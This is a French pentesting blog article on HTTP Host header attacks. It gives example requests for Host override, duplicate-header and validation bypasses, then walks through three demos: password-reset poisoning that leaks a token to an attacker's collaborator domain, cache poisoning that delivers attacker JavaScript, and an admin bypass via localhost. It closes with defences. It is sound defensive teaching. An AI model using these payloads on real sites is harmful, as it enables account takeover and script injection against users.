En-tête Host : attaques, exploitations et bonnes pratiques

Selon le standard RFC 2616, l’en-tête « Host » est obligatoire dans une requête HTTP. Il indique l’hôte et, le cas échéant, le port de la ressource demandée, comme dans une URL.

Concrètement, cet en-tête permet au serveur de rediriger correctement la requête vers le bon site, en particulier lorsque plusieurs noms de domaine partagent la même adresse IP. La valeur de l’en-tête Host correspond en général au nom de domaine présent dans l’URL.

Certains développeurs considèrent donc, à tort, que cet en-tête ne peut pas être manipulé par un utilisateur. Pourtant, comme tout champ d’une requête HTTP, il peut être modifié. S’il est mal validé ou utilisé de manière dangereuse par l’application ou le serveur, l’en-tête Host devient un point d’entrée potentiel pour des attaques.

Dans cet article, nous allons examiner les principales vulnérabilités liées à l’en-tête Host, leurs impacts possibles et les bonnes pratiques pour s’en protéger.

Guide complet sur les attaques liées au contournement de l’en-tête Host

Techniques pour manipuler et contourner l’en-tête Host

Avant d’aborder les vulnérabilités et leurs exploitations, voyons comment un attaquant peut modifier la valeur de l’en-tête Host et, dans certains cas, amener le serveur à l’utiliser.

Selon l’infrastructure (load-balancer, reverse proxy, serveur applicatif) et les contrôles en place, plusieurs méthodes permettent de contourner les protections.

Les techniques décrites ci-dessous aboutissent toutes si elles réussissent à ce que l’application prenne en compte l’hôte fourni par l’attaquant. Elles ne fonctionnent toutefois que si les conditions sont réunies et si les serveurs ne normalisent ou ne valident pas correctement cet en-tête.

Lorsque l’infrastructure n’effectue aucune validation de l’en-tête Host, il suffit de remplacer sa valeur pour que le serveur en tienne compte. C’est le cas le plus simple et le plus critique : l’application traite directement la valeur fournie par le client sans la normaliser ni la restreindre.

Requête initiale :

GET / HTTP/1.1
Host: example.com

Requête falsifiée (valeur Host remplacée) :

GET / HTTP/1.1
Host: vaadata.com

Cette configuration est dangereuse car si l’application utilise Host pour générer des URLs, créer des liens de réinitialisation de mot de passe, ou construire des redirections, un attaquant peut imposer son domaine et provoquer des redirections malveillantes, du phishing, ou des fuites de tokens.

Quand le serveur ignore ou normalise l’en-tête Host, le backend peut néanmoins faire confiance à des en-têtes spéciaux fournis par le client ou le proxy.

Les en-têtes couramment utilisés pour cela sont les suivants :

  • X-Forwarded-Host
  • X-HTTP-Host-Override
  • Forwarded
  • X-Host
  • X-Forwarded-Server

Si nous reprenons la requête précédente, on aura par exemple :

GET / HTTP/1.1
Host: example.com
X-Forwarded-Host: vaadata.com

Le serveur frontend pourra router la requête vers example.com, tandis que le backend, s’il fait confiance à X-Forwarded-Host, utilisera vaadata.com pour construire des URL, des redirections ou des liens sensibles.

Certaines chaînes HTTP acceptent des en-têtes dupliqués. De fait, un attaquant peut envoyer deux en-têtes Host distincts en espérant que le serveur frontend et le serveur backend les traitent différemment. Par exemple, que le frontend utilise le premier Host tandis que le backend se base sur le second.

GET / HTTP/1.1
Host: example.com
Host: vaadata.com

Ceci est problématique car différents parseurs ou proxys peuvent préférer la première ou la dernière occurrence d’un en-tête dupliqué. Donc si un composant choisit example.com pour le routage mais qu’un autre utilise vaadata.com pour générer des URLs ou tokens, un attaquant peut réaliser des exploitations malveillantes (redirections, phishing, etc.).

Une variante des en-têtes doublons consiste à insérer un Host malveillant précédé d’espaces afin d’échapper à un contrôle qui rejette les doublons.

En effet, certains parseurs ou proxies traitent différemment une ligne d’en-tête contenant des espaces en tête, ce qui peut conduire à des comportements incohérents entre le frontend et le backend.

GET / HTTP/1.1
   Host: vaadata.com
Host: example.com

Ici, l’attaquant place un Host malveillant avant le Host légitime. Si le frontend détecte et refuse les en-têtes Host dupliqués mais ne normalise pas la ligne contenant des espaces, le backend peut finir par utiliser la valeur vaadata.com.

Certains serveurs acceptent une ligne de requête en forme absolue (URL complète) au lieu d’un chemin relatif. Un attaquant peut tirer parti de ce comportement pour créer une confusion entre l’URL demandée et la valeur du champ Host.

Exemple de requête malveillante :

GET https://example.com/ HTTP/1.1
Host: vaadata.com

Ici, le frontend peut router la requête vers example.com (car l’URL absolue l’indique), tandis que le backend, s’il se fie à l’en-tête Host, utilisera vaadata.com pour construire des URLs, redirections ou tokens.

Quand une application implémente des contrôles incomplets sur la valeur du Host, ces protections peuvent laisser passer des contournements ciblés.

Voici les cas les plus courants et comment les exploiter.

Manipulation des ports

Certains validateurs traitent toute la chaîne Host comme une seule valeur et tolèrent des segments inattendus (ou mal formatés). Ex. :

GET / HTTP/1.1
Host: example.com:vaadata.com

Selon la manière dont l’application extrait le port, cela peut conduire à un comportement inattendu si le parser sépare mal le nom d’hôte et le port.

Contournement par préfixe

Si le contrôle vérifie seulement que le Host se termine par un domaine autorisé, un attaquant peut préfixer son propre domaine :

GET / HTTP/1.1
Host: vaadataexample.com

Ici vaadataexample.com finit par example.com (si la vérification est naïve) et passe le contrôle malgré qu’il ne s’agisse pas du domaine attendu.

Contrôle du domaine mais pas des sous-domaines

Si le filtrage vérifie uniquement le domaine racine et ignore les sous-domaines, un sous-domaine compromis peut être réutilisé :

GET / HTTP/1.1
Host: sousdomaine-compromis.example.com

Ce contournement suppose que l’attaquant contrôle d’ores et déjà un sous-domaine exploitable.

Bien entendu, cette liste n’est pas exhaustive et d’autres cas peuvent survenir en fonction du contrôle implémenté. De manière générale, il est intéressant de tester un maximum de chose sur la valeur de l’en-tête « Host » pour identifier tout comportement anormal sur le serveur et potentiellement l’exploiter.

Attaques et exploitations liées à la manipulation de l’en-tête Host

Même s’il est possible d’écraser la valeur de l’en-tête « Host » d’origine, cela ne veut pas forcément dire qu’une vulnérabilité est présente. En effet, pour exploiter une vulnérabilité liée à l’en-tête « Host », l’application doit traiter sa valeur de manière dangereuse.

Dans la suite de cet article, nous verrons quelques cas où cela peut poser un problème d’un point de vue sécurité.

Considérons l’application suivante :

Page d'authentification d'une app web
Page d’authentification

Sur la page d’authentification, on peut voir qu’il est possible de réinitialiser son mot de passe.

Lorsqu’un utilisateur utilise cette fonctionnalité, la requête HTTP suivante est envoyée au serveur :

POST /reset-password HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
[email protected]

Cependant, l’application étant vulnérable, cela permet à un attaquant d’écraser l’en-tête Host originel comme ceci :

POST /reset-password HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
X-Fowarded-Host: 7u2pw814nhb1miodmlffskq50w6nudi2.oastify.com
[email protected]

Ici, l’attaquant a envoyé une demande de réinitialisation pour l’email de la victime tout en écrasant l’hôte originel avec un domaine qui lui appartient, 7u2pw814nhb1miodmlffskq50w6nudi2.oastify.com.

Le serveur, qui reprend la valeur de l’en-tête X-Fowarded-Host pour créer le lien de réinitialisation de mot de passe, enverra donc l’email suivant à la victime :

Email reçu par la victime
Email reçu par la victime

Comme on peut le voir dans l’email, l’application a construit le lien de réinitialisation de mot de passe à partir du domaine de l’attaquant.

Si la victime clique sur le lien, elle sera redirigée vers le domaine de l’attaquant et celui-ci pourra récupérer son jeton de réinitialisation de mot de passe :

L’attaquant a exfiltré le jeton de la victime

L’attaquant a bien reçu l’interaction et le jeton de réinitialisation sur son serveur et peut ainsi changer le mot de passe de la victime pour voler son compte.

Prenons comme exemple l’application suivante :

À première vue, c’est une simple application HTML qui comporte un script JavaScript pour animer des vagues sur la page :

Requête :

GET /wave.html HTTP/1.1
Host: example.com

Réponse :

HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.13.2
Date: Wed, 27 Aug 2025 09:06:34 GMT
X-Cache-Status: HIT
Content-type: text/html
Content-Length: 501
Last-Modified: Wed, 27 Aug 2025 08:45:05 GMT

<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width,initial-scale=1" />
    <title>Welcome back!</title>
    <link rel="stylesheet" href="./style.css">
  </head>
  <body>
    <canvas id="waveCanvas" aria-hidden="true"></canvas>

    <main class="card" role="main" aria-labelledby="welcome-title">
      <h1 id="welcome-title">Welcome back!</h1>
    </main>

    <script src="https://example.com/wave.js"></script>
  </body>
</html>

Cependant, on peut remarquer deux comportements qui, une fois combinés, s’avèrent intéressants d’un point de vue d’un attaquant.

Injection d’en-tête Host

Premièrement, il est possible d’écraser la valeur de l’en-tête Host en ajoutant un deuxième en-tête « Host » arbitraire :

Requête :

GET /wave.html HTTP/1.1
Host: example.com
Host: vaadata.com

Réponse :

HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.13.2
Date: Wed, 27 Aug 2025 09:06:34 GMT
X-Cache-Status: HIT
Content-type: text/html
Content-Length: 501
Last-Modified: Wed, 27 Aug 2025 08:45:05 GMT

<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width,initial-scale=1" />
    <title>Welcome back!</title>
    <link rel="stylesheet" href="./style.css">
  </head>
  <body>
    <canvas id="waveCanvas" aria-hidden="true"></canvas>

    <main class="card" role="main" aria-labelledby="welcome-title">
      <h1 id="welcome-title">Welcome back!</h1>
    </main>

    <script src="https://vaadata.com/wave.js"></script>
  </body>
</html>

Nous constatons que le serveur construit l’URL du script à partir de l’en-tête Host, et que nous avons réussi à écraser cette valeur. Autrement dit, nous contrôlons l’URL du fichier JavaScript.

Mais, pour l’instant, seul l’émetteur de la requête modifiée est affecté. En effet, ce changement d’URL ne s’applique que si l’utilisateur ajoute lui-même un en-tête Host à sa requête, ce qui n’est pas réaliste.

Attaque par cache poisoning et exploitation XSS

Un autre comportement du serveur permet toutefois de propager cette modification à tous les visiteurs de la page.

En examinant la réponse, on voit l’en-tête X-Cache-Status: HIT, ce qui signifie que la réponse de /wave.html est mise en cache. Plus important : après avoir ajouté un second en-tête Host, X-Cache-Status reste HIT. Cela prouve que le champ Host n’entre pas dans la clé de cache et donc qu’il est possible d’effectuer un cache poisoning.

Concrètement, si nous forçons le serveur à mettre en cache une réponse contenant un script pointant vers notre domaine malveillant, tous les utilisateurs qui chargeront /wave.html recevront ce script à partir du cache.

En combinant l’injection de l’en-tête Host et le cache poisoning, on peut ainsi servir un JavaScript malveillant à l’ensemble des visiteurs de la page.

Nous avons donc placé un script alert(1) sur https://vaadata/wave.js. Après avoir forcé la mise en cache de la réponse contenant ce script (tout en injectant notre Host), puis en rechargeant la page /wave.html, l’alerte s’exécute, preuve que l’attaque fonctionne et se propage via le cache.

Notre script JS est exécuté

Prenons l’application suivante :

La page d’administration n’est pas accessible à tous les utilisateurs

La requête HTTP envoyée est la suivante :

GET /admin HTTP/1.1
Host: example.com

Réponse :

HTTP/1.0 401 Unauthorized
Content-Type: text/html; charset=utf-8
[...TRUNCATED DATA...]

Nous voyons un message indiquant que la page d’administration que nous tentons d’ouvrir n’est accessible qu’aux utilisateurs du réseau local.

Il se peut que le serveur détermine si un visiteur est « local » en se basant sur la valeur de l’en-tête Host. Cette implémentation semble peu réaliste, mais il est possible que les développeurs supposent que l’en-tête Host n’est pas modifiable et partent du principe que le seul moyen d’accéder au panneau d’administration est d’utiliser l’URL https://localhost/admin, ce qui est inaccessible depuis l’extérieur.

Pourtant, comme nous l’avons montré précédemment, il est possible d’écraser la valeur de l’en-tête Host.

Essayons donc de remplacer directement Host par localhost et observons la réaction du serveur.

Requête :

GET /admin HTTP/1.1
Host: localhost

Réponse :

HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.13.2
Date: Wed, 27 Aug 2025 15:25:03 GMT
Content-type: text/html
Content-Length: 2107
Last-Modified: Wed, 27 Aug 2025 14:12:26 GMT

<!doctype html>
<html lang="en">

<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width,initial-scale=1" />
    <title>Admin Dashboard</title>
    <style>
[...TRUNCATED DATA...]

Si nous visualisons la réponse sur le navigateur, nous avons bien accès au panel d’administration 

Nous avons gagné l’accès à la page d’administration

Comment prévenir les attaques liées à l’en-tête Host

Plusieurs mesures doivent être mises en place pour se protéger contre les attaques liées à l’en-tête Host.

D’abord, le serveur ne doit jamais construire des URL sensibles (par ex. liens de réinitialisation de mot de passe) à partir de la valeur de l’en-tête Host. À la place, il faut utiliser un domaine fixe défini dans un fichier de configuration créé au déploiement de l’application.

De même, l’en-tête Host ne doit pas servir à authentifier un utilisateur ou à déterminer s’il est « local ». Si l’application doit vérifier que l’utilisateur est sur le réseau local, elle doit s’appuyer sur la vraie adresse IP client (par exemple avec la variable $_SERVER['REMOTE_ADDR'] en PHP) et non sur Host. L’authentification elle-même doit reposer sur un mécanisme robuste (identifiants, mots de passe, MFA), pas sur le contrôle d’une adresse IP.

Si une application est destinée à un usage strictement interne, elle ne doit pas être exposée sur le même serveur que des services publics. Mieux vaut la déployer sur une infrastructure interne ou appliquer des règles de pare-feu pour bloquer tout accès externe.

Enfin, pour durcir l’ensemble de l’application :

  • privilégier les URL relatives (pour rendre inopérant un changement de Host) ;
  • refuser ou filtrer tout en-tête susceptible d’écraser Host ;
  • corriger systématiquement les vulnérabilités apparemment « inoffensives » (ex. self-XSS via Host), car elles peuvent être combinées avec d’autres failles et impacter des utilisateurs.

Auteur : Lorenzo CARTE – Pentester @Vaadata